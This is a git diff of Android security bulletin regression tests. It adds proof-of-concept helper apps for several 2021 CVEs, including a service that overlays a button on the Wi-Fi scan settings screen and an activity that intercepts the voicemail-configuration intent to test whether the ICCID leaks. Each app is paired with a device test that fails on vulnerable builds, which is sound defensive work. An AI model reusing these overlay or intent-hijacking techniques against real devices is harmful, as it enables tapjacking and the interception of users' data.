+public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase { private static final String LOG_TAG = "SecurityTestCase"; private static final int RADIX_HEX = 16; @@ -58,7 +59,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test { // account for the poc timer of 5 minutes (+15 seconds for safety) protected static final int TIMEOUT_NONDETERMINISTIC = 315; - private long kernelStartTime; + private long kernelStartTime = -1; private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this); @@ -119,9 +120,13 @@ public class SecurityTestCase extends BaseHostJUnit4Test { getDevice().waitForDeviceAvailable(30 * 1000); } - long deviceTime = getDeviceUptime() + kernelStartTime; - long hostTime = System.currentTimeMillis() / 1000; - assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2); + if (kernelStartTime != -1) { + // only fail when the kernel start time is valid + long deviceTime = getDeviceUptime() + kernelStartTime; + long hostTime = System.currentTimeMillis() / 1000; + assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2); + kernelStartTime = -1; + } // TODO(badash@): add ability to catch runtime restart } @@ -340,7 +345,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test { String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*", "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*", "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*", - "/dev/st54j*" }; + "/dev/st54j*", "/dev/st21nfc*" }; boolean isDriverFound = false; for(String supportedDriver : supportedDrivers) { if(containsDriver(device, supportedDriver, false)) { diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java index b2dc9b816ac..e44a04ae2b0 100644 --- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java @@ -41,6 +41,7 @@ import androidx.test.uiautomator.Until; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertNotNull; +import static org.junit.Assume.assumeNotNull; /** Basic sample for unbundled UiAutomator. */ @RunWith(AndroidJUnit4.class) @@ -111,7 +112,7 @@ public class DeviceTest { mContext.startActivity(intent); UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE)); - assertNotNull("Activity under-test was not launched or found!", view); + assumeNotNull("Activity under-test was not launched or found!", view); Log.d(LOG_TAG, "Started Activity under-test."); } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp index a105e840158..7ff13699738 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp @@ -21,18 +21,17 @@ package { android_test_helper_app { name: "CVE-2021-0523", - srcs: [ - "src/android/security/cts/CVE_2021_0523/PocActivity.java", - "src/android/security/cts/CVE_2021_0523/PocService.java", - ], + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], test_suites: [ "cts", "vts10", "sts", - "general-tests", ], - sdk_version: "system_current", static_libs: [ - "androidx.test.ext.junit", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", ], + sdk_version: "current", } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml index 594e42765e8..e21b9b700fd 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml @@ -20,24 +20,30 @@ android:versionName="1.0"> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> - <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> - <uses-permission android:name="android.permission.WAKE_LOCK" /> + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" /> <application android:allowBackup="true" android:label="CVE-2021-0523" android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> <service android:name=".PocService" android:enabled="true" android:exported="false" /> - <activity android:name=".PocActivity"> + <activity android:name=".PocActivity" + android:exported="true" + android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.cve_2021_0523" /> </manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml new file mode 100644 index 00000000000..dcdbe0aa788 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml @@ -0,0 +1,19 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="overlay_button">OverlayButton</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java new file mode 100644 index 00000000000..e0fc3370936 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java @@ -0,0 +1,107 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0523; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.provider.Settings; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; +import java.io.IOException; +import java.util.regex.Pattern; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final String TEST_PKG = "android.security.cts.cve_2021_0523"; + private static final String TEST_PKG_WIFI = "com.android.settings"; + private static final int LAUNCH_TIMEOUT_MS = 20000; + private UiDevice mDevice; + String activityDump = ""; + + private void startOverlayService() { + Context context = getApplicationContext(); + if (Settings.canDrawOverlays(getApplicationContext())) { + Intent intent = new Intent(getApplicationContext(), PocService.class); + context.startService(intent); + } else { + try { + Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + @Before + public void startMainActivityFromHomeScreen() { + mDevice = UiDevice.getInstance(getInstrumentation()); + Context context = getApplicationContext(); + assertNotNull(context); + PackageManager packageManager = context.getPackageManager(); + assertNotNull(packageManager); + final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); + assertNotNull(intent); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + /* Start the launcher activity */ + context.startActivity(intent); + /* Wait for the WifiScanModeActivity */ + if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) { + return; + } + /* Start the overlay service */ + startOverlayService(); + } + + @Test + public void testOverlayButtonPresence() { + Pattern pattern = Pattern.compile( + getApplicationContext().getResources().getString(R.string.overlay_button), + Pattern.CASE_INSENSITIVE); + BySelector selector = By.text(pattern); + /* Wait for an object of the overlay window */ + if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) { + return; + } + /* Check if the currently running activity is WifiScanModeActivity */ + try { + activityDump = mDevice.executeShellCommand("dumpsys activity"); + } catch (IOException e) { + throw new RuntimeException("Could not execute dumpsys activity command"); + } + Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n"); + if (!activityPattern.matcher(activityDump).find()) { + return; + } + String message = "Device is vulnerable to b/174047492 hence any app with " + + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"; + assertNull(message, mDevice.findObject(selector)); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java index 0ba69f5bc8f..a28b337a327 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java @@ -18,60 +18,16 @@ package android.security.cts.cve_2021_0523; import android.app.Activity; import android.content.Intent; -import android.content.Context; import android.net.wifi.WifiManager; -import android.os.Build; import android.os.Bundle; -import android.os.PowerManager; -import android.os.PowerManager.WakeLock; -import android.provider.Settings; public class PocActivity extends Activity { - private WakeLock mScreenLock; - private Context mContext; - - private void startOverlayService() { - if (Settings.canDrawOverlays(this)) { - Intent intent = new Intent(PocActivity.this, PocService.class); - startService(intent); - } else { - try { - Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); - startActivityForResult(intent, 1); - } catch (Exception e) { - e.printStackTrace(); - } - } - } - - private void stopOverlayService() { - Intent intent = new Intent(PocActivity.this, PocService.class); - stopService(intent); - } @Override protected void onCreate(Bundle savedInstanceState) { - mContext = this.getApplicationContext(); - PowerManager pm = mContext.getSystemService(PowerManager.class); - mScreenLock = pm.newWakeLock( - PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, - "PocActivity"); - mScreenLock.acquire(); - try { - Thread.sleep(6000); - } catch (Exception e) { - e.printStackTrace(); - } super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); - startOverlayService(); Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE); - startActivityForResult(intent, 2); - } - - @Override - protected void onDestroy() { - super.onDestroy(); - mScreenLock.release(); + startActivity(intent); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java index bef2beb81ed..9b013b85944 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java @@ -84,9 +84,8 @@ public class PocService extends Service { private void showFloatingWindow() { if (Settings.canDrawOverlays(this)) { mButton = new Button(getApplicationContext()); - mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE + mButton.setText(getResources().getString(R.string.overlay_button)); mWindowManager.addView(mButton, mLayoutParams); - mButton.setOnTouchListener(new FloatingOnTouchListener()); new Handler().postDelayed(new Runnable() { @Override public void run() { @@ -96,25 +95,4 @@ public class PocService extends Service { mButton.setTag(mButton.getVisibility()); } } - - private static class FloatingOnTouchListener implements View.OnTouchListener { - - @Override - public boolean onTouch(View view, MotionEvent event) { - view.setDrawingCacheEnabled(true); - view.buildDrawingCache(); - Bitmap bitmap = view.getDrawingCache(); - int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2); - int red = Color.red(pixel); - int green = Color.green(pixel); - int blue = Color.blue(pixel); - view.setDrawingCacheEnabled(false); - if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) { - throw new RuntimeException( - "Device is vulnerable to b/174047492 hence any app with " + - "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"); - } - return false; - } - } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java index 73c8e10e005..3ffb7df9664 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java @@ -16,30 +16,34 @@ package android.security.cts.cve_2021_0586; +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.fail; + import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.net.Uri; + import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.By; import androidx.test.uiautomator.BySelector; import androidx.test.uiautomator.UiDevice; import androidx.test.uiautomator.Until; -import java.io.IOException; -import java.util.regex.Pattern; + import org.junit.Before; -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; -import static androidx.test.core.app.ApplicationProvider.getApplicationContext; -import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; -import static org.junit.Assert.assertNotNull; +import java.io.IOException; +import java.util.regex.Pattern; @RunWith(AndroidJUnit4.class) public class DeviceTest { private static final String TEST_PKG = "android.security.cts.cve_2021_0586"; - private static final String TEST_PKG_BT = "com.android.settings"; private static final int LAUNCH_TIMEOUT_MS = 20000; + private Pattern overlayTextPattern; private UiDevice mDevice; String activityDump = ""; @@ -68,26 +72,29 @@ public class DeviceTest { final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); assertNotNull(intent); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + /* Start the launcher activity */ context.startActivity(intent); - Pattern pattern = Pattern.compile( + overlayTextPattern = Pattern.compile( getApplicationContext().getResources().getString(R.string.overlay_button), Pattern.CASE_INSENSITIVE); + } + + @Test + public void testOverlayButtonPresence() { /* Wait for the overlay window */ - if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) { + if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) { return; } + /* Start the DevicePickerActivity */ startDevicePickerActivity(); - } - @Test - public void testOverlayButtonPresence() { - BySelector selector = By.pkg(TEST_PKG_BT); - /* Wait for an object of DevicePickerActivity */ - if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) { + /* Wait until the object of launcher activity is gone */ + if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) { return; } + /* Check if the currently running activity is DevicePickerActivity */ try { activityDump = mDevice.executeShellCommand("dumpsys activity"); @@ -98,8 +105,10 @@ public class DeviceTest { if (!activityPattern.matcher(activityDump).find()) { return; } + + /* Failing the test as fix is not present */ String message = "Device is vulnerable to b/182584940 hence any app with " + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen"; - assertNotNull(message, mDevice.findObject(selector)); + fail(message); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp new file mode 100644 index 00000000000..770b5a2089e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-0642", + defaults: [ + "cts_support_defaults", + ], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml new file mode 100644 index 00000000000..fadda577403 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml @@ -0,0 +1,44 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.cve_2021_0642" + android:versionCode="1" + android:versionName="1.0"> + <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" /> + <application + android:allowBackup="true" + android:label="CVE-2021-0642" + android:supportsRtl="true"> + + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + <intent-filter> + <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" /> + <category android:name="android.intent.category.DEFAULT" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.cve_2021_0642" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml new file mode 100644 index 00000000000..7460b96ae6b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java new file mode 100644 index 00000000000..8fc235ba9da --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0642; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.hamcrest.CoreMatchers.notNullValue; +import static org.junit.Assert.assertThat; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.ActivityNotFoundException; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.telephony.TelephonyManager; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import java.util.List; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + static final String APP_TITLE = "CVE-2021-0642"; + static final String PACKAGE_NAME = "com.android.phone"; + static final int LAUNCH_TIMEOUT_MS = 20000; + + @Test + public void testCVE_2021_0642() { + UiDevice device = UiDevice.getInstance(getInstrumentation()); + Context context = getApplicationContext(); + assertThat(context, notNullValue()); + PackageManager packageManager = context.getPackageManager(); + assertThat(packageManager, notNullValue()); + assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)); + final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + context.startActivity(intent); + } catch (ActivityNotFoundException e) { + assumeNoException(e); + } + + // Check if "com.android.phone" exists on the system + try { + packageManager.getPackageUid(PACKAGE_NAME, 0); + } catch (PackageManager.NameNotFoundException e) { + assumeNoException(e); + } + + // Wait for activity (which is part of package "com.android.phone") that + // handles ACTION_CONFIGURE_VOICEMAIL to get launched + boolean isVoicemailVisible = + device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS); + + // To check if PocActivity was launched + BySelector selector = By.enabled(true); + List<UiObject2> objects = device.findObjects(selector); + boolean isPocActivityVisible = false; + for (UiObject2 o : objects) { + String visibleText = o.getText(); + if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) { + isPocActivityVisible = true; + break; + } + } + device.pressHome(); + + assumeTrue(isVoicemailVisible || isPocActivityVisible); + + String outputMsg = "Device is vulnerable to b/185126149 " + + "hence sensitive Iccid could be sniffed by intercepting " + + "ACTION_CONFIGURE_VOICEMAIL implicit intent"; + assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible))); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java new file mode 100644 index 00000000000..1a335c76444 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java @@ -0,0 +1,22 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0642; + +import android.app.Activity; + +public class PocActivity extends Activity { +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp new file mode 100644 index 00000000000..c4589762fe8 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp @@ -0,0 +1,40 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-0953", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml new file mode 100644 index 00000000000..ddc942fd44a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml @@ -0,0 +1,45 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_0953" + android:versionCode="1" + android:versionName="1.0"> + <application + android:label="CVE-2021-0953" + android:supportsRtl="true"> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN"/> + <category android:name="android.intent.category.LAUNCHER"/> + </intent-filter> + </activity> + <activity + android:name=".PocVulnerableActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.speech.action.WEB_SEARCH"/> + <category android:name="android.intent.category.DEFAULT"/> + </intent-filter> + </activity> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_0953" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml new file mode 100644 index 00000000000..13651bd8010 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:layout_width="match_parent" + android:layout_height="match_parent"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml new file mode 100644 index 00000000000..2d3268bef08 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/pocVulnerableActivity" + android:layout_width="match_parent" + android:layout_height="match_parent"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml new file mode 100644 index 00000000000..c027ecfcd78 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" 